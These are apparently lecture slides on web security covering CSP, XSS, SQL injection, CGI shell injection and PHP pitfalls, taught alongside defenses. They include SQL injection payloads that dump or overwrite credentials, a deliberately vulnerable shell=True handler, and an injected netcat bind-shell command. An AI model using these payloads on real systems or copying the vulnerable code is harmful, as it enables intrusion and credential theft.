}  Content-Security-Policy-Report-Only 

}  CSP header composed of directives, origins, keywords, and actions 
}  If CSP header is present: 

}  Browser switches to whitelist-only mode 
}  Inline JS and CSS are disallowed by default 
}  Javascript eval() and similar functions are disallowed by default 
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HTTP/1.1 200 OK 
Content-Type: text/html; charset=utf-8 
… 
Content-Security-Policy: default-src https://www.example.com; 
script-src 'self'  https://apis.google.com; frame-src 'none'; 
object-src 'none';  report-uri  /
my_amazing_csp_report_parser;  

Directive Origin Keyword 

Action 



CSP Directives 

}  Directives allow the server to restrict the origins of resources 
}  script-src sets the origins from which scripts may be loaded 
}  connect-src sets restrictions on XHR, Websockets, and 

EventSource 
}  object-src restriction plugins, media-src restricts audio and video 
}  style-src, font-src, img-src, frame-src 

}  default-src is the catch all directive 
}  Defines allowed origins for all unspecified source types 

}  All accesses that violate the restrictions are blocked 
}  Warning: whitelist mode is only enabled for a given type of 

resource if: 
}  The corresponding directive is specified, or default-src is specified 
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CSP Origins 

}  Hostname/IP address pattern with optional scheme and 
port 
}  e.g., trusted.com 
}  e.g., https://*.sensitive.com 
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Content-Security-Policy: default-src   http://www.example.com   
trusted.com  https://*.sensitive.com 



XSS Attacks, Revisited 

103 evil.com 

bofw.com 
CSP: default-src bofw.com 

Bank of 
Washington 

Reflected XSS 

bofw.com 
CSP: default-src bofw.com 

Bank of 
Washington 

Stored XSS 

POST /xfer_money.php HTTP/
1.1 

<script> 
      
steal_the_money(); 
</script> 
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Inline Scripts Considered Harmful 

}  Problem: even with CSP enabled, stored XSS attacks may 
still interact with the origin the page was loaded from 

}  Insight: stored XSS attacks rely on inline scripts 
 

<script>steal_the_money();</script> 
 

}  When CSP is enabled by a server, the browser’s default 
behavior changes 
1.  Inline JS and CSS are disallowed by default 
2.  Javascript eval(), new Function(), setTimeout(“string”, …), and 

setInterval(“string”, …) are disallowed by default 
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<!-- amazing.html --> 
<script src='amazing.js'></script> 
<button id='amazing'>Am I amazing?</button> 

<script> 
 function doAmazingThings() { 
  alert('YOU AM AMAZING!');  
 } 

</script> 
<button onclick='doAmazingThings();'>Am I amazing?</button> 

// amazing.js 
function doAmazingThings() { 

 alert('YOU AM AMAZING!'); 
} 
document.addEventListener('DOMContentReady', function () { 

 document.getElementById('amazing') .addEventListener('click', 
doAmazingThings); 
});  

Not allowed by 
default if CSP is 

enabled 
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XSS Attacks, Round 4 

106 evil.com 

bofw.com 
CSP: default-src bofw.com 

Bank of 
Washington 

Reflected XSS 

bofw.com 
CSP: default-src bofw.com 

Bank of 
Washington 

Stored XSS 
<script> 
      
steal_the_money(); 
</script> 
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CSP Keywords 

}  Special keywords may be used in addition to origins 
}  ‘none’: Disallow all accesses for the given directive 
}  ‘self ’: Allow accesses to the origin the page was loaded from 
}  ‘unsafe-inline’: allow inline JS and CSS from the given directive 
}  ‘unsafe-eval’: allow eval(), etc. from the given directive 
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CSP Actions 

}  When a policy violation occurs: 
}  The offending action is blocked… 
}  … and (optionally), the violation is reported to a URL specified 

by the server 
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Content-Security-Policy: report-uri   /
my_amazing_csp_report_parser;  

{ "csp-report": { 
 "document-uri": "http://example.org/page.html", 
 "referrer": "http://evil.example.com/",  
 "blocked-uri": "http://evil.example.com/evil.js",  
 "violated-directive": "script-src 'self' https://apis.google.com",  
 "original-policy": "script-src 'self' https://apis.google.com; report-uri 
     http://example.org/

my_amazing_csp_report_parser" 
}}  



Actual CSP Example 
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Content-Security-Policy: default-src *; script-src https://
*.facebook.com http://*.facebook.com https://*.fbcdn.net http://
*.fbcdn.net *.facebook.net *.google-analytics.com 
*.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 
'unsafe-inline' 'unsafe-eval' https://*.akamaihd.net http://
*.akamaihd.net *.atlassolutions.com; style-src * 'unsafe-inline'; 
connect-src https://*.facebook.com http://*.facebook.com 
https://*.fbcdn.net http://*.fbcdn.net *.facebook.net 
*.spotilocal.com:* https://*.akamaihd.net wss://*.facebook.com:* 
ws://*.facebook.com:* http://*.akamaihd.net https://
fb.scanandcleanlocal.com:* *.atlassolutions.com http://
attachment.fbsbx.com https://attachment.fbsbx.com; 



CSP Discussion 

}  CSP gives developers a lot of power to improve the 
security of their site against XSS 

}  But, uptake has been slow for a number of reasons 
}  Hard to deploy – e.g., moving all inline scripts 
}  Origin granularity might be too coarse 
}  Binary security decision 

}  Recent measurements put CSP adoption at a fraction of a 
percent 
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3: Server-side attacks 



What about the server side? 

}  Thus far, we have looked at client-side attacks 
}  The attacker wants to steal private info from the client 
}  Attacker uses creative tricks to avoid SOP restrictions 

}  Web servers are equally nice targets for attackers 
}  Servers often have access to large amounts of privileged data 

}  E.g. personal information, medical histories, financial data, etc. 

}  Websites are useful platforms for launching attacks 
}  E.g. Redirects to drive-by installs, clickjacking, etc. 
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Web architecture circa-2015 
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Client Side Server Side Protocols 

FTP 
HTTP 1.0/1.1 

HTTP 2.0 
SSL and TLS 
Websocket 
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CSS 

Stor
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Cookies 
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PHP, 
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Node, 
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Model-layer vulnerabilities 

}  Web apps typically require a persistent store, often a 
relational database (increasingly not) 

}  Structured Query Language (SQL) is a popular interface 
to relational databases 
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SQL 

SELECT user, passwd, admin FROM users; !
INSERT INTO users(user) VALUES('admin'); !
UPDATE users SET passwd='...' WHERE 
user='admin'; !
DELETE FROM users WHERE user='admin'; !
 

}  Relatively simple declarative language for definition relational data 
and operations over that data 

}  Common operations: 
}  SELECT retrieves data from the store 
}  INSERT adds data to the store 
}  UPDATE modified data in the store 
}  DELETE removes data from the store 
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Acknowledgments: xkcd.com
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What is a SQL injection attack? 

}  Many web applications take user input from a form ad 
often this user input is used in the construction of a SQL 
query submitted to a database.  

 

SELECT productdata FROM table WHERE  
productname = ‘user input product name’; 

}  A SQL injection attack involves placing SQL statements in 
the user input and could lead to modification of query 
semantics 
}  Confidentiality – modify queries to return unauthorized data 
}  Integrity – modify queries to perform unauthorized updates 
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SQL injection attacks results 

}  Add new data to the database 
}  Modify data currently in the database 

}  Could be very costly to have an expensive item suddenly be 
deeply ‘discounted’ 

}  Often can gain access to other user’s system capabilities 
by obtaining their password 
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SQL injection attack example 

}  Product Search: 

}  This input is put directly into the SQL statement within 
the Web application: 
}  $query = “SELECT prodinfo FROM prodtable WHERE 

prodname = ‘” . $_POST[‘prod_search’] . “’”; 

}  Creates the following SQL: 
}  SELECT prodinfo FROM prodtable WHERE prodname = 

‘blah‘ OR ‘x’ = ‘x’ 
}  Attacker has now successfully caused the entire database to be 

returned. 
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blah‘ OR ‘x’ = ‘x 



More SQL injection examples 

Original query: 
“SELECT name, description FROM items WHERE id=‘” + 

req.args.get(‘id’, ‘’) + “’” 
 
Result after injection: 

SELECT name, description FROM items WHERE id='12' 
    UNION SELECT username, passwd FROM users;--'; 

 
Original query: 

“UPDATE users SET passwd=‘” + req.args.get(‘pw’, ‘’) + “’ WHERE 
user=‘” + req.args.get(‘user’, ‘’) + “‘” 

 
Result after injection: 

UPDATE users SET passwd='...' WHERE user='dude' OR 1=1;--'; 
 
}  Similarly to XSS, problem often arises when delimiters are 

unfiltered 
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Blind SQL injection 

}  Basic SQL injection requires knowledge of the schema 
}  e.g., knowing which table contains user data, and the structure 

of that table 

}  Blind SQL injection leverages information leakage 
}  Used to recover schemas, execute queries 

}  Requires some observable indicator of query success or 
failure 
}  e.g., a blank page (success/true) vs. an error page (failure/false) 

}  Leakage performed bit-by-bit 
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Blind SQL injection 

}  Given the ability to execute queries and an oracle, 
extracting information is then a matter of automated 
requests 

1.  "Is the first bit of the first table's name 0 or 1?" 
2.  "Is the second bit of the first table's name 0 or 1?" 
3.  ... 
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Defenses 

}  Use provided functions for escaping strings 
}  Many attacks can be thwarted by simply using the SQL string 

escaping mechanism ‘ à \’  and “ à \” 

}  Check syntax of input for validity 
}  Many classes of input have fixed languages 

}  Have length limits on input 
}  Many SQL injection attacks depend on entering long strings 

}  Scan query string for undesirable word combinations that 
indicate SQL statements 

}  Limit database permissions and segregate users 
}  Connect with read-only permission if read is the goal 
}  Don’t connect as a database administrator from web app 
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Defenses: PREPARE statement 

}  For existing applications adding PREPARE statements will 
prevent SQL injection attacks 

}  Hard to do automatically with static techniques 
}  Need to guess the structure of query at each query issue 

location 
}  Query issued at a location depends on path taken in program 

}  Human assisted efforts can add PREPARE statements 
}  Costly effort 
}  Automated solutions proposed to dynamically infer the benign query 

structure 

Web security 124 



Defenses: Language level 

}  Object-relational mappings (ORM) 
}  Libraries that abstract away writing SQL statements 
}  Java – Hibernate 
}  Python – SQLAlchemy, Django, SQLObject 
}  Ruby – Rails, Sequel 
}  Node.js – Sequelize, ORM2, Bookshelf 

}  Domain-specific languages 
}  LINQ (C#), Slick (Scala), ... 
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What About NoSQL? 

}  SQL databases have fallen out of favor versus NoSQL 
databases like MongoDB and Redis 

}  Are NoSQL databases vulnerable to injection? 
}  YES. 
}  All untrusted input should always be validated and sanitized 

}  Even with ORM and NoSQL 
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Common Gateway Interface (CGI) 

}  CGI was the original means of presenting dynamic 
content to users 
}  Server-side generation of content in response to parameters 
}  Well-defined interface between HTTP input, scripts, HTTP 

output 
}  Scripts traditionally reside in /cgi-bin 
}  Many improved standards exist (FastCGI, WSGI) 

}  Often, these CGI scripts invoke other programs using 
untrusted input 
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CGI Shell Injection 

@app.route('/email') !
def email_message(): !
    email = req.args.get('email', '') !
    msg = req.args.get('msg', '') !
    cmd = 'sendmail -f {0} 
contact@blah.io'.format(email) !
    p = subprocess.Popen( !
        cmd, !
        stdin=subprocess.PIPE, !
        shell=True) !
    # ... !
 
}  Shell injection still prevalent on the Web today 
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x@x.com y@y.com; nc –l 1337 
–e /bin/sh; cat  
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Unrestricted Uploads 

}  Analogous to command injection, apps are often 
vulnerable to unrestricted uploads 
}  i.e., file injection 

}  One obvious attack is to upload a malicious CGI script 
}  Can trick users into visiting the script 
}  Or, attack the site 

}  Many other possibilities 
}  Upload malicious images that attack image processing code 
}  DoS via upload of massive files 
}  Overwrite critical files 
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PHP 

}  Very popular server-side language for writing web apps 
}  e.g., Facebook uses it heavily 

}  In the pantheon of web security vulnerabilities, PHP 
deserves a special place 
}  … and not in a good way 
}  PHP: A Fractal of Bad Design -- 

http://eev.ee/blog/2012/04/09/php-a-fractal-of-bad-design/ 

}  Let's look at some examples 
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register_globals 

if (check_authorized($user)) { !
    $authorized = true; !
} !
!
if ($authorized) { !
    // Let the user do admin stuff. !
    // ... !
} !

 
}  register_globals is a configuration option for PHP 
}  Idea is to ease programmer burden by automatically lifting 

HTTP request parameters into the PHP global namespace 
}  Another way of putting this: register_globals auto-injects 

untrusted data from the user into your program 
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magic_quotes 

}  magic_quotes automatically escapes certain delimiters 
used in SQL query strings 
}  “\” added before single quotes, double quotes, backslashes, null 

characters 
}  Applied to $_GET, $REQUEST, $_POST, and $_COOKIES 

 
[magic_quotes was introduced to help prevent] code written by 
beginners from being dangerous. [It was originally intended as a] 

convenience feature, not as a security feature. 
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magic_quotes 

}  magic_quotes is fundamentally broken 
}  magic_quotes is enabled by default in a configuration file 
}  Escapes all user data, not just data inserted into a database 
}  Doesn't protected against data pulled from a database and re-

inserted 
}  Doesn't handle multi-byte character encodings 
}  Doesn't even follow the standard for delimiter escaping 
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Summary 

}  Web architecture is very dynamic with new features 
under development 

}  Key concepts with security implications: 
}  Java, JavaScript, XMLHttpRequest, SOP, CORS, HTML5 

}  Major attacks: 
}  Browser exploits 
}  XSS  
}  CREF 
}  SQL injections 
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